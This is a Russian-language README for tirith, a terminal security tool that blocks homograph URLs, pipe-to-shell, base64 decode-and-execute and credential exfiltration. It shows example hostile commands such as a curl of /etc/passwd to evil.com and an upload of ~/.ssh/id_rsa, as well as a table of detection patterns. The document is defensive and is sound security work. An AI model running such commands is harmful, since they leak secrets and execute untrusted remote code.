
Терминальная безопасность для разработчиков и агентов ИИ. Перехватывает гомографные URL, конвейер к оболочке, ANSI-инъекции, обфусцированные полезные нагрузки, утечку данных и вредоносные навыки/конфигурации ИИ до их выполнения.
# tirith
**Ваш браузер это поймал бы. Ваш терминал — нет.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>Независимый проект с открытым исходным кодом, хостинг поддерживается Vercel Open Source Program (Spring 2026 Cohort).</sub>
---
Сможете заметить разницу?```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
Вы не можете. Ваш терминал тоже. Оба символа `і` — кириллические (U+0456), а не латинская `i`. Второй URL ведёт на сервер атакующего. Скрипт выполняется прежде, чем вы это заметите.
Браузеры решили эту проблему годы назад. Терминалы по-прежнему отображают Unicode, ANSI-escape-последовательности и невидимые символы без вопросов. AI-агенты выполняют shell-команды и устанавливают пакеты, не проверяя, что внутри.
**Tirith стоит на страже.** Он перехватывает команды, вставленное содержимое и сканируемые файлы на предмет гомографических URL, обфусцированных полезных нагрузок, кражи учётных данных, вредоносных AI-навыков/конфигураций и известных опасных пакетов/доменов/IP-адресов из подписанной базы данных угроз перед их выполнением.```bash
brew install tirith
```
Затем активируйте в профиле вашей оболочки:```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` автоматически определяет вашу текущую оболочку (он проверяет родительский процесс и при необходимости возвращается к `$SHELL`). Явный флаг `--shell` требуется только тогда, когда вы хотите переопределить определение.
На этом покрытие интерактивной оболочки завершено. Команды, принимаемые этой оболочкой,
проверяются, пока хук загружен и работоспособен; точное поведение блокировки зависит
от оболочки и режима. Запустите `tirith doctor` после установки и обновлений, и
прочитайте [enforcement by shell](#enforcement-by-shell), прежде чем рассматривать хук как
границу авторизации. Чистые команды остаются безмолвными и обычно идут по
быстрому пути.
Также доступно через [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) и [другое](#install).
---
## Посмотрите, как это работает
**Гомографическая атака, заблокированная до выполнения:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
Команда никогда не выполняется.
**Pipe-to-shell с чистым URL, предупреждение, не заблокировано:**```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
Предупреждение выводится в stderr. Команда всё равно выполняется.
**Цепочка декодирования и выполнения Base64, заблокирована:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
Перехватывает цепочки декодирования через обёртки sudo/env и PowerShell `-EncodedCommand`.
**Эксфильтрация учётных данных, заблокировано:**```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
Охватывает все флаги загрузки curl/wget, переменные окружения (`$AWS_SECRET_ACCESS_KEY`) и подстановку команд.
**Вредоносный файл навыка, обнаруженный при сканировании:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
Сканирует файлы JS/Python на наличие обфусцированных полезных нагрузок, динамического выполнения кода и шаблонов эксфильтрации секретов.
**Обычные команды, невидимые:**```
$ git status
$ ls -la
$ docker compose up -d
```
Ничего. Нулевой вывод. Ты забываешь, что tirith запущен.
---
## Что он обнаруживает
**244 правила обнаружения в 35 категориях.**
| Категория | Что она останавливает |
|----------|--------------|
| **Атаки омоглифами** | Кириллические/греческие похожие символы в именах хостов, punycode-домены, метки со смешанными алфавитами, похожие TLD, конфузируемые домены, обнаружение конфузируемых символов на текстовом уровне (математические алфавитно-цифровые символы, смешанные алфавиты в одном слове) |
| **Инъекция в терминал** | ANSI escape-последовательности, bidi-переопределения, символы нулевой ширины, unicode-теги, невидимые математические операторы, селекторы вариаций, заполнители хангыль |
| **Защита от стеганографии** | Кодирование невидимыми пробельными символами (12 вариантов Unicode-пробелов), монгольский разделитель гласных, символы-заполнители хангыль, математическая алфавитно-цифровая подстановка, защита от текстовой стеганографии в стиле st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, а также множество путей через обёртки, декодирование и перенаправления |
| **Декодирование и выполнение Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, цепочки декодирования через обёртки sudo/env |
| **Эксфильтрация данных** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, загрузка переменных окружения (`$AWS_SECRET_ACCESS_KEY`), эксфильтрация через подстановку команд |
| **Сканирование файлов кода** | Обфусцированные полезные нагрузки (`eval(atob(...))`), динамическое выполнение кода (`exec(b64decode(...))`), эксфильтрация секретов через `fetch`/`requests.post` в файлах JS/Python |
| **Обнаружение учётных данных** | Ключи AWS, GitHub PAT, токены Stripe/Slack/SendGrid/Anthropic/GCP/npm, блоки приватных ключей, а также обобщённое обнаружение секретов на основе энтропии |
| **Поведение после компрометации** | Считывание памяти процессов (`/proc/*/mem`), удалённое повышение привилегий в Docker, обход файлов учётных данных, откалибровано по инструментам пост-компрометации TeamPCP и UNC1069 |
| **Безопасность команд** | Перезапись dotfile-файлов, распаковка архивов в чувствительные пути, доступ к эндпоинтам облачных метаданных, доступ к частной сети |
| **Небезопасный транспорт** | Обычный HTTP, передаваемый в shell, `curl -k`, отключённая проверка TLS, сокращённые URL, скрывающие назначение |
| **Окружение** | Перехват прокси, экспорт чувствительных переменных окружения, инъекция кода через env, перехват интерпретатора, инъекция в shell через env |
| **Безопасность конфигурационных файлов** | Инъекция в конфигурацию, подозрительные индикаторы, не-ASCII/невидимый unicode в конфигурациях, безопасность MCP-серверов (небезопасные/недоверенные/дублирующиеся/разрешительные) |
| **Угрозы экосистемы** | Тайпсквоттинг при git clone, недоверенные Docker-реестры, установка через URL pip/npm, эндпоинты web3 RPC, vet-not-configured |
| **Безопасность команд установки** | APT-репозитории, добавленные из скачанного через pipe файла, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (отключённые проверки подписи), `kubectl apply -f` против необработанных/сокращённых удалённых манифестов, Helm-чарты из недоверенных репозиториев, модули Terraform из недоверенных удалённых источников, `brew install`/`tap` из произвольных URL |
| **Анализ путей** | Не-ASCII пути, омоглифы в путях, двойное кодирование |
| **Отрисованный контент** | Скрытый контент через CSS/цвет, скрытые HTML-атрибуты, анализ содержимого комментариев (prompt injection на уровне High, деструктивные команды на уровне Medium) |
| **Обнаружение клоакинга** | Серверный клоакинг (бот против браузера), скрытый контент в буфере обмена, скрытый текст в PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, исключения Windows Defender (`Add-MpPreference -Exclusion*`), встроенное скачивание-выполнение `iex (iwr ...)` |
| **Защита вывода терминала** | Запись в буфер обмена через OSC 52, поддельные приглашения, манипуляции с гиперссылками OSC 8 и заголовком / очисткой экрана, prompt injection внутри вывода команд или MCP-инструментов (сканируется как в сыром, так и в деобфусцированном виде, поэтому невидимые символы, конфузируемые символы, разнесённые по буквам, leetspeak и короткие base64 / hex-обходы также обнаруживаются), а также эксфильтрация данных через вывод (beacon-URL или директивы «прочитай секрет и отправь его») |
| **Операционный контекст** | Деструктивные команды против помеченных как prod облачных / k8s контекстов и SSH-хостов, Terraform / Pulumi / OpenTofu `apply` без соответствующего сохранённого плана, рискованное повышение через sudo, привилегированный `docker run` |
| **Рабочая станция и персистентность** | Файлы учётных данных с нестрогими правами и токены в открытом виде (`~/.ssh`, `~/.aws`, `.npmrc`), точки закрепления персистентности (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), порядок перехвата PATH, происхождение исполняемых файлов, рискованные алиасы и жизненный цикл чувствительных переменных окружения |
| **Радиус поражения и корреляция** | Удаления, выходящие за пределы репозитория, массовые удаления, выполнение файлов, скачанных из рискованных источников, и цепочки в рамках сессии, такие как запись секрета, а затем сеть, или удаление, а затем `git push --force` |
| **Доверие, аттестация и происхождение** | Несоответствие подписанной command-card, обращения к canary-ханипотам, несоответствие хоста-источника вставки, отказы политики по источнику вызова (агенту), дрейф MCP lockfile и дрейф AI-конфигурации относительно известного безопасного снимка |
| **Защита команд Web3** | Записи в блокчейн из команд Cast / Forge / Hardhat / Solana / Anchor (High, когда та же команда также отключает заявленный механизм безопасности), материал в виде raw private-key, keypair или мнемоники в командной строке, а также RPC-эндпоинт или подписант, которым политика `web3_guard` оператора не доверяет. Только грамматика и политика: состояние цепи не читается, транзакция не симулируется, адрес не оценивается |
| **Эксфильтрация кошелька** | Проверенный материал кошелька, keystore, браузерного кошелька и Solana-keypair, утекающий к доказанному удалённому стоку, включая промежуточные этапы архивации, base64, hex, сжатия и шифрования, а также продвижение операндов через `xargs` / `find -exec`. Чтение только из источника намеренно не считается находкой |
| **Отравление CI-артефактов** | Доступный из форка workflow, который загружает артефакт сборки, потребляемый привилегированным workflow `workflow_run`, привязанным к запустившему его запуску, который затем выполняет, подключает как источник, изменяет PATH, публикует или развёртывает его |
---
## От чего tirith НЕ защищает
Tirith анализирует **структуру** команд, вставленного текста и файлов до
их выполнения. Это предварительный шлюз, а не защита во время выполнения, и он не
покрывает:
- **Общую изоляцию во время выполнения:** обычные shell-хуки и `tirith check` предупреждают
или блокируют; они не изолируют команду после запуска. Явные
пути `capsule run --preset untrusted-project` и принудительный `pkg install`
обеспечивают fail-closed сдерживание только на поддерживаемых хостах x86_64 Linux.
- **Сетевой мониторинг после выполнения:** то, что процесс делает в сети после
запуска, вне области охвата.
- **Общее обнаружение вредоносного ПО / полезных нагрузок:** tirith не является антивирусом и
не детонирует полезную нагрузку. Он анализирует структуру и может сопоставлять точные индикаторы
и хеши артефактов/файлов из подписанной базы данных угроз, но неизвестная
полезная нагрузка не доказывается как безопасная отсутствием совпадения. (`tirith run` проверяет
структуру скачанного скрипта; это всё ещё не динамический анализ вредоносного ПО.)
- **Привилегированный root/admin-атакующий:** любой, кто уже root или admin, может обойти
tirith тривиально. Он защищает от обманутого ввода, а не от атакующего, который уже
владеет машиной.
- **Анти-отладка / анти-тамперинг:** tirith не сопротивляется обратной разработке
и не защищает свой собственный бинарник от локального атакующего.
- **Анализ на цепи:** защита Web3 читает грамматику команд. Она не читает
состояние цепи, не симулирует транзакцию, не разрешает ENS, не оценивает адрес, не аудирует
контракт и не следит за mempool.
- **Межсетевой экран артефактов npm:** tirith разбирает грамматику команд npm и факты
идентичности реестра и может запросить у собственного npm проекта его состояние подписи и
происхождения. Он не скачивает, не извлекает, не помещает в карантин и не привязывает
байты tarball, которые устанавливает npm. Содержимый межсетевой экран артефактов с закреплением по хешу
предназначен только для Python.
- **Браузерная криминалистика или мониторинг:** `tirith browser audit` — это явный,
одноразовый, read-only аудит целостности исходных деревьев расширений. Он никогда не читает
cookies, историю, сохранённые пароли, хранилище, базы данных кошельков или `Local
State`, никогда ничего не удаляет и не помещает в карантин и не имеет демона.
- **Воспроизводимые сборки:** квитанция `attest` фиксирует, что содержали два дерева
в один момент. Tirith не запускает вашу сборку и не может утверждать, что вывод получен
из исходников. Квитанция развёртывания — это измерение на момент времени, а не
непрерывный мониторинг.
См. [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) для полной модели угроз и
явных нецелей, а также
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) для
реестра по возможностям того, что tirith обнаруживает, решает, применяет,
сдерживает и аттестует.
---
## Известные ограничения
- **Хрупкость shell-хуков:** защита зависит от того, что shell-хук остаётся установленным
и активным. Хуки могут ломаться или молча деградировать в разных оболочках, версиях оболочек,
фреймворках приглашения и инструментах истории. Запустите `tirith doctor`, чтобы проверить живое состояние
и следить за деградацией до режима только предупреждений.
- **Полное или доступное только для чтения временное хранилище:** zsh и fish захватывают ввод через
временный файл перед вызовом Tirith и отказывают fail-closed, когда этот файл не может быть
создан. Поэтому полный/доступный только для чтения `TMPDIR` может отказать в каждой команде, и
`TIRITH=0` не может восстановить ситуацию, потому что бинарник так и не достигается. Следуйте шагам
восстановления в [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Функции, ограниченные платформой:** режим демона, `tirith run` и `tirith fetch`
— это Unix-поверхности. `tirith run --no-exec` остаётся там рабочим процессом
инспекции, но живое выполнение удалённых скриптов доступно только на Linux и отказывает до
скачивания на любом другом хосте. `tirith setup` кроссплатформенный, тогда как каждая
интеграция с хостом имеет свой собственный платформенный контракт (например, у Cline есть POSIX
и Windows-обёртки; блокирующий хук OpenHands доступен только на Unix).
- **Охват извлечения имён пакетов:** покрывает языковые экосистемы (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), но не дистрибутивные
менеджеры пакетов (`apt`, `dnf`, `yum`, `pacman`).
- **Оговорки по AI-агентам:** перехват через shell-хук защищает только команды, которые проходят
через подключённую интерактивную оболочку. Агент, который порождает неинтерактивную
оболочку, вызывает `exec` напрямую или работает без загруженного хука, не покрывается
этим слоем. Регистрация MCP является кооперативной, если только вызовы не маршрутизируются
через шлюз. Поддерживаемый pre-tool хук может автоматически удержать
команду хоста, но только когда этот хост загрузил и соблюл его; несколько хостов
отказывают fail-open, когда процесс хука завершается с ошибкой. Проверяйте эффективный хост, а не только
наличие конфигурационного файла.
- **Поведение при сбое хост-хука:** Grok Build, Cline и OpenHands разрешают
инструмент, когда их процесс хука падает или истекает по таймауту. Адаптер Tirith по умолчанию отказывает при
своих собственных ошибках, но он не может заставить хост соблюдать процесс, который не
вернулся. Перезапустите setup, если закреплённый интерпретатор переместился, и тестируйте реальный хост
после каждого обновления.
- **Prime Agent IPython — это извлечение на уровне исходников:** защита покрывает shell-
escape-последовательности/магии и распространённые формы `os`, `subprocess` и `pty.spawn`, но это
не песочница среды выполнения Python. Обёртка, определённая в более ранней ячейке,
рефлексия вроде `getattr`/`__import__` или сторонний пакет, который
порождает процесс, могут выйти за пределы того, что может доказать лексер исходников.
- **Custom-DLP и машинный вывод:** широкие `dlp_custom_patterns` в настоящее время могут
переписывать строковые значения, принадлежащие протоколу, в рекурсивно редактируемых JSON/MCP
проекциях, включая сгенерированные идентификаторы или метаданные квитанций. Избегайте
шаблонов, которые могут совпадать со структурными значениями, при потреблении подписанного или
машинно-стабильного вывода; это требует редактирования с учётом полей до релиза.
- **Одобрение установки без присмотра:** `tirith install --yes` принимается как
канал `require_approval` без присмотра для шлюза задачи менеджера пакетов. Это
явный флаг оператора, а не доказательство подтверждения человеком через TTY. Используйте блокирующую
политику задач там, где выполнение без присмотра должно быть невозможно.
- **Привязка интерпретируемого MCP:** точная привязка интерпретируемого сервера хеширует
дерево репозитория при фиксированных ограничениях вместо обнаружения истинного замыкания зависимостей,
поэтому большие деревья, симлинки или специальные файлы могут отказать в запуске. Она
перепроверяет перед порождением, но не выполняет входные данные интерпретатора из запечатанных
проверенных дескрипторов; конкурентное изменение тем же пользователем остаётся разрывом между проверкой и загрузкой.
- **Охват шлюза задач:** вывод эффектов задач моделирует грамматику оболочки Web3
и ничего больше, поэтому почти каждая обычная команда SHELL сообщается как
INCOMPLETE. `task_gate.mode: enforce` с `action_incomplete_analysis: block`
отказывает им на пяти границах, которые отправляют конверт оболочки, и ничего не меняет
на четырёх границах пакетов и записи конфигурации, которые всегда оцениваются как полные.
`warn` — это значение по умолчанию. Альтернатива,
`effects_denied_for_untrusted_sources`, запрещает названный эффект при каждом вызове
на каждой принадлежащей границе, включая команды, которые вы набрали сами, потому что ни один
источник на этих границах никогда не считается доверенным.
- **Сдерживание — это x86_64 Linux:** `tirith capsule run --preset
untrusted-project` и принудительный `tirith pkg install` могут применяться только на
x86_64 Linux с пригодным ABI Landlock. Любой другой хост отказывает до
того, как что-либо скопировано или порождено, без деградированного запасного варианта. Разрешение
по домену не предлагается ни одним бэкендом.
- **Разрыв эксфильтрации через вложенную оболочку:** чувствительное чтение внутри тела вложенной оболочки,
сток которого находится вне её, например `bash -c "cat <wallet>" | curl -d @- <url>`,
```
---
[Read more](https://github.com/sheeki03/tirith)